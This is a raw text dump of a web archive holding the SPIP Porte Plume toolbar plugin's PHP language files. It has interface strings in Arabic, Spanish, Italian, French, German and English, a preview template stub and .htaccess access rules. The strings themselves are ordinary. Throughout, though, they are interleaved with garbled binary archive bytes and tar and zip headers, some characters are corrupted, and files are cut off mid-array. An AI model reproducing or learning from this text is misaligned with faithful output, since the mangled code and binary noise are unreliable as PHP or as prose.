الأعمدة', 'barre_gestion_ligne' => 'عدد السطور', 'barre_gestion_entete' => 'ترويسة', 'barre_gestion_taille' => 'حجم ثابت', 'barre_gestion_cr_changercasse' => 'تغيير حجم الحروف', 'barre_gestion_cr_changercassemajuscules' => 'تحويل الى الحروف كبيرة', 'barre_gestion_cr_changercasseminuscules' => 'تحويل الى الحروف صغيرة', 'barre_gestion_cr_chercher' => 'بحث', 'barre_gestion_cr_remplacer' => 'استبدال', 'barre_gestion_cr_casse' => 'تطابق حجم الحروف', 'barre_gestion_cr_tout' => 'استبدال الكل', 'barre_gestion_cr_entier' => 'كلمة كاملة', 'barre_preview' => 'معاينة', 'barre_stats' => 'عرض احصاءات النص', 'barre_code' => 'تنسيق <code>مقطع رموز برمجية</code>', 'barre_cadre' => 'وضع في <cadre>مجال إدخال نصوص</cadre>', 'barre_poesie' => 'تنسيق <poesie>شعر</poesie>', 'barre_ancres' => 'إدارة المراسي', 'barre_gestion_anc_caption' => 'إدارة المراسي', 'barre_gestion_anc_inserer' => 'تحويل الى مرساة', 'barre_gestion_anc_nom' => 'اسم المرساة', 'barre_gestion_anc_pointer' => 'التصويب الى مرساة', 'barre_gestion_anc_cible' => 'المرساة الهدف', 'barre_gestion_anc_bulle' => 'بالون تعليمات المرساة', // C 'config_info_enregistree' => "تم حفظ الإعداد", // E 'explication_barre_outils_public' => "يتم تحميل أوامر أوراق الأنماط وجافاسكريبت (إضافة الريشة، Porte Plume) في الموقع العمومي لتوقر استخدام شريط الأدوات في استمارات المنتديات والأقلام العمومية وملحقات أخرى أذا سمحت إعداداتها بذلك.", 'explication_barre_outils_public_2' => "يمكنك اختيار عدم تحميل هذه الأوامر لتخفيف وزن الصفحات العمومية. عندها، مهما تكن إعدادات المنتديات او الأقلام او الملحقات، لن يظهر اي شريط أدوات من الريشة في الموقع العمومي.", // I 'info_porte_plume_titre' => "إعداد شريط الأدوات", 'info_barre_outils_public' => "شريط الأدوات العمومي", // L 'label_barre_outils_public_oui' => "تحميل أوامر شريط الأدوات في الموقع العمومي", 'label_barre_outils_public_non' => "عدم تحميل أوامر شريط الأدوات في الموقع العمومي" ); ?> PK`Q\њbarre_outils_es.phpnuW+A 'Limpiar el código de todas las etiquetas HTML', 'barre_lorem_ipsum' => 'Insertar un párrafo ficticio', 'barre_lorem_ipsum_3' => 'Insertar tres párrafos ficticios', 'barre_liste_ul' => 'Convertir en lista', 'barre_liste_ol' => 'Convertir en lista ordenada', 'barre_indenter' => 'Convertir en sublista', 'barre_desindenter' => 'Deshacer sublista', 'barre_inserer_caracteres' => 'Insertar caracteres especiales', 'editer'=>'Editar', 'voir'=>'Ver', // B (depuis SPIP) 'barre_a_accent_grave' => 'Insertar À', 'barre_aide' => 'Puedes enriquecer el formato de tu texto utilizando "atajos tipográficos"', 'barre_e_accent_aigu' => 'Insertar É', 'barre_eo' => 'Insertar ligadura œ', 'barre_eo_maj' => 'Insertar ligadura &OElig', 'barre_euro' => 'Insertar símbolo € ', 'barre_gestion_cr_changercassemajuscules' => 'MAYÚSCULAS', 'barre_gestion_cr_changercasseminuscules' => 'minúsculas', 'barre_gras' => '{{Negrita}}', 'barre_guillemets' => 'Encerrar entre «comillas dobles«', 'barre_guillemets_simples' => 'Place between “single quotes“', 'barre_intertitre' => 'Convertir en {{{intertítulo}}}', 'barre_italic' => '{cursiva}', 'barre_lien' => 'Convertir en [hipevínculo->http://...]', 'barre_lien_input' => 'Por favor ingresa el destino de tu hipervínculo (puede ser una URL de la forma http://www.misitio.com o simplmente el número de un artículo de este sitio).', 'barre_note' => 'Convertir en [[Nota al pie]]', 'barre_paragraphe' => 'Crear párrafo', 'barre_quote' => 'Citar', // B (depuis BTv2) 'barre_langue' => 'Idioma abreviado', //?? 'barre_miseenevidence' => 'Resaltar el [*texto*]', 'barre_exposant' => 'Poner el texto en <sup>superíndice</sup>', 'barre_petitescapitales' => 'Poner el texto en <sc>mayúsculas pequeñas</sc>', 'barre_centrer' => '[|Centrar|] párrafo', 'barre_alignerdroite' => '[/Alinear a derecha/]', 'barre_encadrer' => '[(Párrafo con recuadro)]', 'barre_e_accent_grave' => 'Intertar È', 'barre_ea' => 'Insertar ligadura æ', 'barre_ea_maj' => 'Insertar ligadura Æ', 'barre_c_cedille_maj' => 'Insertar Ç', 'barre_chercher' => 'Buscar y reemplazar', 'barre_tableau' => 'Insertar/modificar una tabla (seleccionala primero)', 'barre_glossaire' => '[?Referencia] (Wikipedia)', 'barre_caracteres' => 'Caracteres especiales', 'barre_lien_externe' => 'Enlace externo', 'barre_bulle' => 'Globo de ayuda', 'barre_galerie' => 'Ouvrir la galerie', 'barre_gestion_caption' => 'Encabezado y resumen', 'barre_formatages_speciaux' => 'Formateado especial', 'barre_galerie' => 'Abrir la galería', 'barre_gestion_colonne' => 'Núm de columnas', 'barre_gestion_ligne' => 'Núm de líneas', 'barre_gestion_entete' => 'Encabezado', 'barre_gestion_taille' => 'Tamaño fijo', 'barre_gestion_cr_changercasse' => 'Alternar', 'barre_gestion_cr_changercassemajuscules' => 'Pasar a mayúsculas', 'barre_gestion_cr_changercasseminuscules' => 'Pasar a minúsculas', 'barre_gestion_cr_chercher' => 'Buscar', 'barre_gestion_cr_remplacer' => 'Reemplazar', 'barre_gestion_cr_casse' => 'Respetar mayúsculas y minúsculas', 'barre_gestion_cr_tout' => 'Reemplazar todo', 'barre_gestion_cr_entier' => 'Sólo palabras completas', 'barre_preview' => 'Modo previsualización', 'barre_stats' => 'Mostrar estadística del texto', 'barre_code' => 'Mostrar como <code>código fuente</code>', 'barre_cadre' => 'Mostrar dentro de una <cadre>caja de texto</cadre>', 'barre_poesie' => 'Mostrar como <poesie>Poesía</poesie>', 'barre_ancres' => 'Anclas', 'barre_gestion_anc_caption' => 'Gestionar las anclas', 'barre_gestion_anc_inserer' => 'Convertir a un ancla', 'barre_gestion_anc_nom' => 'Nombre del ancla', 'barre_gestion_anc_pointer' => 'Apuntar a un ancla', 'barre_gestion_anc_cible' => 'Destino del ancla', 'barre_gestion_anc_bulle' => 'Globo de ayuda de anclas' ); ?> PK`Q\֔barre_outils_it.phpnuW+A 'Elimina dal codice tutti i tag HTML', 'barre_lorem_ipsum' => 'Inserisci un paragrafo di prova (lorem ipsum)', 'barre_lorem_ipsum_3' => 'Inserisci 3 paragrafi di prova (lorem ipsum)', 'barre_liste_ul' => 'Converti in lista', 'barre_liste_ol' => 'Converti in lista numerata', 'barre_indenter' => 'Indenta la lista', 'barre_desindenter' => 'Elimina l\'indentazione dela lista', 'barre_inserer_caracteres' => 'Inserisci dei caratteri speciali', 'barre_barre' => 'Barra il testo', 'editer'=>'Modifica', 'voir'=>'Vedi', // B (depuis SPIP) 'barre_a_accent_grave' => 'Inserisci una A con accento grave maiuscolo', 'barre_aide' => 'Utilizza le scorciatoie tipografiche per arricchire la tua impaginazione', 'barre_c_cedille_maj' => 'Inserisci una C con cediglia maiuscola: Ç', 'barre_e_accent_aigu' => 'Inserisci una E con accento acuto maiuscola', 'barre_e_accent_grave' => 'Inserisci una E con accento grave minuscola: È', 'barre_ea' => 'Inserisci una E con legatura alla A: æ', 'barre_ea_maj' => 'Inserisci una E con legatura alla A maiuscola: Æ', 'barre_eo' => 'Inserisci una E con legatura alla O minuscola', 'barre_eo_maj' => 'Inserisci una E con legatura alla O maiuscola', 'barre_euro' => 'Inserisci il simbolo €', 'barre_gestion_cr_changercassemajuscules' => 'Converti la selezione in maiuscolo', 'barre_gestion_cr_changercasseminuscules' => 'Converti la selezione in minuscolo', 'barre_gras' => 'Converti in {{grassetto}}', 'barre_guillemets' => 'Racchiudi tra « virgolette »', 'barre_guillemets_simples' => 'Racchiudi tra “virgolette di secondo livello”', 'barre_intertitre' => 'Trasforma in {{{titolo}}}', 'barre_italic' => 'Converti in {corsivo}', 'barre_lien' => 'Trasforma in [link ipertestuale->http://...]', 'barre_lien_input' => 'Indica l\'indirizzo del tuo link (puoi indicare un indirizzo internet sotto forma di http://www.miosito.com, un indirizzo di posta elettronica, o semplicemente indicare il numero di un articolo di questo sito.', 'barre_note' => 'Trasforma in [[nota a piè pagina]]', 'barre_paragraphe' => 'Crea un paragrafo', 'barre_quote' => 'Cita un messaggio', // B (depuis BTv2) 'barre_langue' => 'Acronimo lingua', 'barre_miseenevidence' => 'Metti il testo in [*evidenza*]', 'barre_exposant' => 'Metti il testo in <sup>esponente</sup>', 'barre_petitescapitales' => 'metti il testo in <sc>maiuscoletto</sc>', 'barre_centrer' => '[|Centra|] il paragrafo', 'barre_alignerdroite' => '[/Allinea a destra/] il paragrafo', 'barre_encadrer' => '[(Riquadra)] il paragrafo', 'barre_e_accent_grave' => 'Inserisci una E maiuscola con accento grave', 'barre_ea' => 'Inserisci una E nella A', 'barre_ea_maj' => 'Inserisci una E nella A maiuscola', 'barre_c_cedille_maj' => 'Inserisci una C con cediglia maiuscola', 'barre_chercher' => 'Cerca e sostituisci', 'barre_tableau' => 'Inserisci/modifica (selezionare prima) una tabella', 'barre_glossaire' => 'Voce di [?glossario] (Wikipedia)', 'barre_caracteres' => 'Caratteri speciali', 'barre_adresse' => 'Indirizzo', 'barre_lien_externe' => 'Link esterno', 'barre_bulle' => 'Tooltip', 'barre_formatages_speciaux' => 'Formattazioni speciali', 'barre_galerie' => 'Apri la galleria', 'barre_gestion_caption' => 'Didascalia e riassunto', 'barre_gestion_colonne' => 'Num colonne', 'barre_gestion_ligne' => 'Num righe', 'barre_gestion_entete' => 'Intestazione', 'barre_gestion_taille' => 'Dimensione fissa', 'barre_gestion_cr_changercasse' => 'Cambia maiuscole/minuscole', 'barre_gestion_cr_changercassemajuscules' => 'Passa in maiuscole', 'barre_gestion_cr_changercasseminuscules' => 'Passa in minuscole', 'barre_gestion_cr_chercher' => 'Cerca', 'barre_gestion_cr_remplacer' => 'Sostituisci', 'barre_gestion_cr_casse' => 'Rispetta le maiuscole/minuscole', 'barre_gestion_cr_tout' => 'Sostituisci tutto', 'barre_gestion_cr_entier' => 'Parola intera', 'barre_preview' => 'Modalit� anteprima', 'barre_stats' => 'Mostra le statistiche del testo', 'barre_code' => 'Impagina un <code>codice informatico</code>', 'barre_cadre' => 'Metti dentro una <cadre>zona di inserimento del testo</cadre>', 'barre_poesie' => 'Impagina come una <poesie>poesia</poesie>', 'barre_ancres' => 'Gestione delle ancore', 'barre_gestion_anc_caption' => 'Gestione delle ancore', 'barre_gestion_anc_inserer' => 'Trasforma in ancora', 'barre_gestion_anc_nom' => 'Nome dell\'ancora', 'barre_gestion_anc_pointer' => 'Punta verso un\'ancora', 'barre_gestion_anc_cible' => 'Destinazione ancora', 'barre_gestion_anc_bulle' => 'Tooltip ancora', // C 'config_info_enregistree' => "Configurazione salvata", // E 'explication_barre_outils_public' => "Gli script CSS e Javascript delle barre di testo (estensione Porte Plume) vengono caricate nello spazio pubblico e consentono di utilizzare queste barre sui moduli dei forum, i pennarelli pubblici o per altri plugin, se le loro rispettive configurazioni lo permettono.", 'explication_barre_outils_public_2' => "Puoi scegliere di non caricare questi script al fine di allegerire il peso delle pagine pubbliche. Qualunque sia la configurazione dei forum, pennarelli o plugin, nessuna barra di testo di Porte Pplume potrà essere inserita automaticamente nello spazio pubblico.", // I 'info_porte_plume_titre' => "Configura le barre di testo", 'info_barre_outils_public' => "Barra di testo pubblica", // L 'label_barre_outils_public_oui' => "Caricare gli script della barra di testo sullo spazio pubblico", 'label_barre_outils_public_non' => "Non caricare gli script della barra di testo sullo spazio pubblico", ); ?> PK`Q\x{&barre_outils_fr.phpnuW+A 'Nettoyer le code de toutes les balises HTML', 'barre_lorem_ipsum' => 'Insérer un paragraphe factice', 'barre_lorem_ipsum_3' => 'Insérer trois paragraphes factices', 'barre_liste_ul' => 'Mettre en liste', 'barre_liste_ol' => 'Mettre en liste numérotée', 'barre_indenter' => 'Indenter une liste', 'barre_desindenter' => 'Désindenter une liste', 'barre_inserer_caracteres' => 'Insérer des caractères spécifiques', 'barre_barre' => 'Barrer le texte', 'editer'=>'Éditer', 'voir'=>'Voir', // B (depuis SPIP) 'barre_a_accent_grave' => 'Insérer un A accent grave majuscule', 'barre_aide' => 'Utilisez les raccourcis typographiques pour enrichir votre mise en page', 'barre_c_cedille_maj' => 'Insérer un C cédille majuscule: Ç', 'barre_e_accent_aigu' => 'Insérer un E accent aigu majuscule', 'barre_e_accent_grave' => 'Insérer un E majuscule accent grave: È', 'barre_ea' => 'Insérer un E dans l\'A: æ', 'barre_ea_maj' => 'Insérer un E dans l\'A majuscule: Æ', 'barre_eo' => 'Insérer un E dans l\'O', 'barre_eo_maj' => 'Insérer un E dans l\'O majuscule', 'barre_euro' => 'Insérer le symbole €', 'barre_gestion_cr_changercassemajuscules' => 'Passer la sélection en majuscules', 'barre_gestion_cr_changercasseminuscules' => 'Passer la sélection en minuscules', 'barre_gras' => 'Mettre en {{gras}}', 'barre_guillemets' => 'Entourer de « guillemets »', 'barre_guillemets_simples' => 'Entourer de “guillemets de second niveau”', 'barre_intertitre' => 'Transformer en {{{intertitre}}}', 'barre_italic' => 'Mettre en {italique}', 'barre_lien' => 'Transformer en [lien hypertexte->http://...]', 'barre_lien_input' => 'Veuillez indiquer l\'adresse de votre lien (vous pouvez indiquer une adresse Internet sous la forme http://www.monsite.com, une adresse courriel, ou simplement indiquer le numéro d\'un article de ce site.', 'barre_note' => 'Transformer en [[Note de bas de page]]', 'barre_paragraphe' => 'Créer un paragraphe', 'barre_quote' => 'Citer un message', // B (depuis BTv2) 'barre_langue' => 'Langue abrégée', 'barre_miseenevidence' => 'Mettre le texte en [*évidence*]', 'barre_exposant' => 'Mettre le texte en <sup>exposant</sup>', 'barre_petitescapitales' => 'Mettre le texte en <sc>petites capitales</sc>', 'barre_centrer' => '[|Centrer|] le paragraphe', 'barre_alignerdroite' => '[/Aligne à droite/] le paragraphe', 'barre_encadrer' => '[(Encadrer)] le paragraphe', 'barre_e_accent_grave' => 'Insérer un E majuscule accent grave', 'barre_ea' => 'Insérer un E dans l\'A', 'barre_ea_maj' => 'Insérer un E dans l\'A majuscule', 'barre_c_cedille_maj' => 'Insérer un C cédille majuscule', 'barre_chercher' => 'Chercher Remplacer', 'barre_tableau' => 'Insérer/modifier (le sélectionner avant) un tableau', 'barre_glossaire' => 'Entrée du [?glossaire] (Wikipedia)', 'barre_caracteres' => 'Caractères spéciaux', 'barre_adresse' => 'Adresse', 'barre_lien_externe' => 'Lien externe', 'barre_bulle' => 'Bulle d\'aide', 'barre_formatages_speciaux' => 'Formatage spéciaux', 'barre_galerie' => 'Ouvrir la galerie', 'barre_gestion_caption' => 'Caption et Résumé', 'barre_gestion_colonne' => 'Nb colonnes', 'barre_gestion_ligne' => 'Nb lignes', 'barre_gestion_entete' => 'Entete', 'barre_gestion_taille' => 'Taille fixe', 'barre_gestion_cr_changercasse' => 'Changer la casse', 'barre_gestion_cr_changercassemajuscules' => 'Passer en majuscules', 'barre_gestion_cr_changercasseminuscules' => 'Passer en minuscules', 'barre_gestion_cr_chercher' => 'Chercher', 'barre_gestion_cr_remplacer' => 'Remplacer', 'barre_gestion_cr_casse' => 'Respecter la casse', 'barre_gestion_cr_tout' => 'Tout remplacer', 'barre_gestion_cr_entier' => 'Mot entier', 'barre_preview' => 'Mode prévisualisation', 'barre_stats' => 'Afficher les statistiques du texte', 'barre_code' => 'Mettre en forme un <code>code informatique</code>', 'barre_cadre' => 'Placer dans une <cadre>zone de saisie de texte</cadre>', 'barre_poesie' => 'Mettre en forme comme une <poesie>poésie</poesie>', 'barre_ancres' => 'Gestion des ancres', 'barre_gestion_anc_caption' => 'Gestion des ancres', 'barre_gestion_anc_inserer' => 'Transformer en ancre', 'barre_gestion_anc_nom' => 'Nom de l\'ancre', 'barre_gestion_anc_pointer' => 'Pointer vers une ancre', 'barre_gestion_anc_cible' => 'Ancre cible', 'barre_gestion_anc_bulle' => 'Bulle d\'aide ancre', // C 'config_info_enregistree' => "Configuration sauvegardée", // E 'explication_barre_outils_public' => "Les scripts CSS et Javascript des barre d'outils (extension Porte Plume) sont chargés sur l'espace public et permettent d'utiliser ces barres sur les formulaires de forums, les crayons publics ou pour d'autres plugins, si leurs configurations respectives le permettent.", 'explication_barre_outils_public_2' => "Vous pouvez choisir de ne pas charger ces scripts afin d'alléger le poids des pages publiques. Dès lors quelque soit la configuration des forums, crayons ou plugin, aucune barre d'outils du Porte Plume ne pourra être présente automatiquement sur l'espace public.", // I 'info_porte_plume_titre' => "Configurer les barres d'outils", 'info_barre_outils_public' => "Barre d'outils publique", // L 'label_barre_outils_public_oui' => "Charger les scripts de barre d'outils sur l'espace public", 'label_barre_outils_public_non' => "Ne pas charger les scripts de barre d'outils sur l'espace public", ); ?> PK`Q\i#(barre_outils_de.phpnuW+A 'Code aller HTML-Tags bereinigen', 'barre_lorem_ipsum' => 'Einen falschen Absatz einfügen', 'barre_lorem_ipsum_3' => 'Drei falsche Absätze einfügen', 'barre_liste_ul' => 'Als Liste formatieren', 'barre_liste_ol' => 'Als nummerierte Liste formatieren', 'barre_indenter' => 'Liste mit Einrückungen', 'barre_desindenter' => 'Einrückungen aus Liste entfernen', 'barre_inserer_caracteres' => 'Sonderzeichen einfügen', 'barre_barre' => 'Text durchstreichen', 'editer'=>'Bearbeiten', 'voir'=>'Anzeigen', // B (depuis SPIP) 'barre_a_accent_grave' => 'Majuskel A mit accent grave einfügen', 'barre_aide' => 'Gestalten sie ihre Seite mit typografischen Kürzeln', 'barre_c_cedille_maj' => 'Majuskel C mit cédille einfügen', 'barre_e_accent_aigu' => 'Majuskel E mit accent aigu einfügen', 'barre_e_accent_grave' => 'Majuskel E mit accent grave einfügen', 'barre_ea' => 'E im A einfügen: æ', 'barre_ea_maj' => 'Majuskel E im A einfügen: Æ', 'barre_eo' => 'E im O einfügen', 'barre_eo_maj' => 'Majuskel E im O einfügen', 'barre_euro' => '€ Symbol einfügen', 'barre_gestion_cr_changercassemajuscules' => 'Auswahl in Majuskel umwandeln', 'barre_gestion_cr_changercasseminuscules' => 'Auswahl in Gemeine umwandeln', 'barre_gras' => '{{Fett}} setzen', 'barre_guillemets' => 'In « Anführungszeichen » setzen.', 'barre_guillemets_simples' => 'in “ doppelte Anführungszeichen ”', 'barre_intertitre' => 'In {{{Zwischentitel}}} umwandeln', 'barre_italic' => 'In {kursiv} umwandeln', 'barre_lien' => 'In [Hyperlink->http://...] umwandeln', 'barre_lien_input' => 'Bitte geben sie die Adresse ihrer Website an (Sie können eine Webadresse im Format http://www.meineseite.de, eine Mailadresse oder die Nummer eines Artikels dieser Website angeben.)', 'barre_note' => 'In [[Fu�note]] umwandeln', 'barre_paragraphe' => 'Absatz einfügen', 'barre_quote' => 'Nachricht zitieren', // B (depuis BTv2) 'barre_langue' => 'Sprache / Kurzform', 'barre_miseenevidence' => '[*hervorheben*]', 'barre_exposant' => 'Text <sup>hochstellen</sup>', 'barre_petitescapitales' => 'Text als <sc>Kapitälchen</sc>', 'barre_centrer' => 'Absatz [|zentrieren|]', 'barre_alignerdroite' => 'Absatz [/rechtsbündig/] ausrichten', 'barre_encadrer' => 'Absatz mit [(Kasten)]', 'barre_e_accent_grave' => 'Insérer un E majuscule accent grave', 'barre_ea' => 'Insérer un E dans l\'A', 'barre_ea_maj' => 'Majuskel E im A einfügen', 'barre_c_cedille_maj' => 'Majuskel C cédille einfügen', 'barre_chercher' => 'Suchen / Ersetzen', 'barre_tableau' => 'In einer Tabelle (bitte markieren) suchen und ersetzen', 'barre_glossaire' => 'Eintrag in [?glossaire] (Wikipedia)', 'barre_caracteres' => 'Sonderzeichen', 'barre_adresse' => 'Adresse', 'barre_lien_externe' => 'Externer Link', 'barre_bulle' => 'Sprechblasenhilfe', 'barre_formatages_speciaux' => 'Spezielle Formatierungen', 'barre_galerie' => 'Galerie öffnen', 'barre_gestion_caption' => 'Motto und Zusammenfassung', 'barre_gestion_colonne' => 'Spaltenzahl', 'barre_gestion_ligne' => 'Zeilenzahl', 'barre_gestion_entete' => 'Kopf', 'barre_gestion_taille' => 'Feste Größe', 'barre_gestion_cr_changercasse' => 'Majusker/Gemeine tauschel', 'barre_gestion_cr_changercassemajuscules' => 'In Majuskel umwandeln', 'barre_gestion_cr_changercasseminuscules' => 'In Gemeine umwandeln', 'barre_gestion_cr_chercher' => 'Suchen', 'barre_gestion_cr_remplacer' => 'Ersetzen', 'barre_gestion_cr_casse' => 'Gross/Klein beachten', 'barre_gestion_cr_tout' => 'Alles ersetzen', 'barre_gestion_cr_entier' => 'Ganzes Wort', 'barre_preview' => 'Vorschaumodus', 'barre_stats' => 'Statistiken des Texts anzeigen', 'barre_code' => '<code>Programmcode </code> formatieren', 'barre_cadre' => 'In <cadre>Textfeld</cadre> einfügen', 'barre_poesie' => 'Als <Poesie>Poésie</poesie> formatieren', 'barre_ancres' => 'Anker verwalten', 'barre_gestion_anc_caption' => 'Anker verwalten', 'barre_gestion_anc_inserer' => 'In Anker umwandeln', 'barre_gestion_anc_nom' => 'Name des Ankers', 'barre_gestion_anc_pointer' => 'Link zu Anker', 'barre_gestion_anc_cible' => 'Zielanker', 'barre_gestion_anc_bulle' => 'Sprechblasenhilfe zum Anker', // C 'config_info_enregistree' => "Konfiguration gespeichert", // E 'explication_barre_outils_public' => "Die CSS et Javaskripte der Werkzeugleiste (Erweiterung Federhalter) werden in den öffentlichen Bereich geladen und ermöglichen diese Werkzeugleiten in den Formularen der Foren, des Stift-Plugins und in weiteren Plugins einzusetzen, wenn die jeweilige Konfiguration es erlaubt.", 'explication_barre_outils_public_2' => "Sie können die Verwendung der Werkzeugleisten verhindern und so den Code der öffentlichen Seiten verschlanken. Damit stehen sie weder in Foren, noch in den Eingabefeldern von Plugins zur Verfügung.", // I 'info_porte_plume_titre' => "Werkzeugleiste konfigurieren", 'info_barre_outils_public' => "Öffentliche Werkzeugleiste", // L 'label_barre_outils_public_oui' => "Werkzeugleisten und Skripte im öffentlichen Bereich laden.", 'label_barre_outils_public_non' => "Werkzeugleisten nicht im öffentlichen Bereich laden.", ); ?> PK`Q\?barre_outils_en.phpnuW+APK`Q\r}r77barre_outils_ar.phpnuW+APK`Q\њZKbarre_outils_es.phpnuW+APK`Q\֔7\barre_outils_it.phpnuW+APK`Q\x{& sbarre_outils_fr.phpnuW+APK`Q\i#(kbarre_outils_de.phpnuW+APK;preview.html.tar000066600000004000151454730040007701 0ustar00home/yeshuare/www/extensions/porte_plume/markitup/templates/preview.html000066600000000626151451433710023114 0ustar00 markItUp! preview template eye.png.tar.gz000066600000001624151454730040007252 0ustar00MկL-(M,J///O(I++//*I/)LK-OJ,KL+Kg Vq 0465c0454"cSC#SJKVîA:yL^O -l@RD Œ9kK _5$8?fSR/(]UӅɍ!n!f:>&.PXL,c^^&)!%6zyghf“&tOާsNmY>ڠ_մnP>(+hх67z{IaiǬ9,&Еm Order allow,deny Deny from all Order allow,deny Allow from all eacute-maj.png.tar.gz000066600000000723151454730040010502 0ustar00MկL-(M,J///O(I++//*I/)LK-OJ,KML.-IM+Kg 81 PP%E@+a ~\R\@&Kaf  X}ݸaKF秕 cJ~RgnbzjPjbJeT"WwwwUVN4iSQQ=r䈞gY5G WXRq+A3VZ  inellenb Z3$Y",&F<a&dF&Jcbih*-q2.LQڧF΁O9pO3@efg on:Q0 F( T;lang.tar000066600000132000151454730040006200 0ustar00barre_outils_en.php000066600000011704151451432410010440 0ustar00 'Clean the code of all HTML tags', 'barre_lorem_ipsum' => 'Insert a fake paragraph', 'barre_lorem_ipsum_3' => 'Insert three fake paragraphs', 'barre_liste_ul' => 'Set list', 'barre_liste_ol' => 'Set numbered list', 'barre_indenter' => 'Indent a line', 'barre_desindenter' => 'Unindent a line', 'barre_inserer_caracteres' => 'Insert special characters', 'barre_barre' => 'Strike through the text', 'editer'=>'Edit', 'voir'=>'Preview', // B (depuis SPIP) 'barre_a_accent_grave' => 'Insert a capital A with grave accent: À', 'barre_aide' => 'Use the typographic short cuts to refine your layout', 'barre_c_cedille_maj' => 'Insert a capital Ç with cedilla: Ç', 'barre_e_accent_aigu' => 'Insert a capital E with acute accent: É', 'barre_e_accent_grave' => 'Insert a capital E with grave accent: È', 'barre_ea' => 'Insert an oe-ligature: æ', 'barre_ea_maj' => 'Insert a capital an oe-ligature: Æ', 'barre_eo' => 'Insert an oe-ligature: œ', 'barre_eo_maj' => 'Insert a capital OE-ligature: Œ', 'barre_euro' => 'Insert the € symbol', 'barre_gestion_cr_changercassemajuscules' => 'Convert to UPPERCASE', 'barre_gestion_cr_changercasseminuscules' => 'Convert to lowercase', 'barre_gras' => '{{Bold}}', 'barre_guillemets' => 'Place between «double quotes«', 'barre_guillemets_simples' => 'Place between “single quotes“', 'barre_intertitre' => 'Turn into a {{{subheading}}}', 'barre_italic' => '{Italic}', 'barre_lien' => 'Turn into a [hyperlink->http://...]', 'barre_lien_input' => 'Please enter the target of your hyperlink (you may give an internet URL in the form http://www.mysite.com or else simply the number of an article on this site).', 'barre_note' => 'Turn into a [[Footnote]]', 'barre_paragraphe' => 'Create a paragraph', 'barre_quote' => 'Quote a message', // B (depuis BTv2) 'barre_langue' => 'Abbreviated lnguage', 'barre_miseenevidence' => '[*Highlight*] the text', 'barre_exposant' => 'Put the text in <sup>superscript</sup>', 'barre_petitescapitales' => 'Put the text in <sc>small capitales</sc>', 'barre_centrer' => '[|Center|] the paragraph', 'barre_alignerdroite' => '[/Right align/] the paragraph', 'barre_encadrer' => '[(Frame)] the paragraph', 'barre_e_accent_grave' => 'Insert capital E grave', 'barre_ea' => 'Insert æ', 'barre_ea_maj' => 'Insert Æ', 'barre_c_cedille_maj' => 'Insert capital C cedilla', 'barre_chercher' => 'Search & Replace', 'barre_tableau' => 'Insert/modify a table (select it first)', 'barre_glossaire' => '[?Glossary] reference (Wikipedia)', 'barre_caracteres' => 'Special characters', 'barre_adresse' => 'Address', 'barre_lien_externe' => 'External link', 'barre_bulle' => 'Help bubble', 'barre_formatages_speciaux' => 'Special formating', 'barre_galerie' => 'Open gallery', 'barre_gestion_caption' => 'Caption and Summary', 'barre_gestion_colonne' => 'No. of columns', 'barre_gestion_ligne' => 'No. of lines', 'barre_gestion_entete' => 'Header', 'barre_gestion_taille' => 'Fixed size', 'barre_gestion_cr_changercasse' => 'Change case', 'barre_gestion_cr_changercassemajuscules' => 'Convert to upper case', 'barre_gestion_cr_changercasseminuscules' => 'Convert to lower case', 'barre_gestion_cr_chercher' => 'Search', 'barre_gestion_cr_remplacer' => 'Replace', 'barre_gestion_cr_casse' => 'Match case', 'barre_gestion_cr_tout' => 'Replace all', 'barre_gestion_cr_entier' => 'Only complete words', 'barre_preview' => 'Preview mode', 'barre_stats' => 'Show text statistics', 'barre_code' => 'Edit a <code>computer code</code>', 'barre_cadre' => 'Put in a <cadre>textarea</cadre>', 'barre_poesie' => 'Edit as a <poesie>poetry</poesie>', 'barre_ancres' => 'Anchors', 'barre_gestion_anc_caption' => 'Anchors', 'barre_gestion_anc_inserer' => 'Convert to anchor', 'barre_gestion_anc_nom' => 'Anchor name', 'barre_gestion_anc_pointer' => 'Point to an anchor', 'barre_gestion_anc_cible' => 'Anchor target', 'barre_gestion_anc_bulle' => 'Anchor help bubble', // C 'config_info_enregistree' => "Configuration saved", // E 'explication_barre_outils_public' => "CSS and Javascript Scripts for toolbars (Quill extension, Porte Plume) are loaded in the public site and provide toolbars in forums, public crayons or other plugins if their respective configurations allow it.", 'explication_barre_outils_public_2' => "You can choose not to load these scripts in to lighten public pages. Therefore, whatever configuration the forums, crayons or plugins have, no Quill toolbar will show automatically in the public site.", // I 'info_porte_plume_titre' => "Toolbars configuration", 'info_barre_outils_public' => "Public toolbars", // L 'label_barre_outils_public_oui' => "Load the toolbars\' scripts in the public site.", 'label_barre_outils_public_non' => "Do not load the toolbars\' scripts in the public site" ); ?> barre_outils_ar.php000066600000033420151451432410010437 0ustar00 'تنظيف الرموز البرمجية من كل علامات HTML', 'barre_lorem_ipsum' => 'إدراج فقرة زائفة', 'barre_lorem_ipsum_3' => 'إدراج ثلاث فقرات زائفة', 'barre_liste_ul' => 'تحويل الى لائحة', 'barre_liste_ol' => 'تحويل الى لائحة مرقمة', 'barre_indenter' => 'إزاحة لائحة', 'barre_desindenter' => 'إلغاء إزاحة لائحة', 'barre_inserer_caracteres' => 'إدراج حروف محددة', 'barre_barre' => 'شطب النص', 'editer'=>'تحرير', 'voir'=>'معاينة', // B (depuis SPIP) 'barre_a_accent_grave' => 'إدراج A مع نبر الاطالة: À', 'barre_aide' => 'استخدم شريط اختصارات الكتابة لإغناء تصميم صفحتك', 'barre_c_cedille_maj' => 'إدراج Ç كبير', 'barre_e_accent_aigu' => 'ادراج E كبير مع نبر حاد - É', 'barre_e_accent_aigu' => 'ادراج E كبير مع نبر خفيض - È', 'barre_ea' => 'ادراج E داخل A: æ', 'barre_ea_maj' => 'ادراج E كبير داخل A كبير: Æ', 'barre_eo' => 'ادراج e داخل o: œ', 'barre_eo_maj' => 'ادراج E كبير داخل O كبير: Œ', 'barre_euro' => 'ادراج رمز €', 'barre_gestion_cr_changercassemajuscules' => 'تحويل الى حروف كبيرة', 'barre_gestion_cr_changercasseminuscules' => 'تحويل الى حروف صغيرة', 'barre_gras' => '{{اسود}}', 'barre_guillemets' => 'احاطة «بعلامتي اقتباس مزدوجة»', 'barre_guillemets_simples' => 'وضع بين "علامتي إقتباس مزدوجة من المستوى الثاني"', 'barre_intertitre' => 'تحويل الى {{{عنوان فقرة}}}', 'barre_italic' => '{مائل}', 'barre_lien' => 'تحويل الى [وصلة هايبرتكست->http://...]', 'barre_lien_input' => 'الرجاء ادخال عنوان الوصلة (يمكنك ادخال عنوان نسيج على شكل http://www.mysite.com او ادخال رقم مقال من 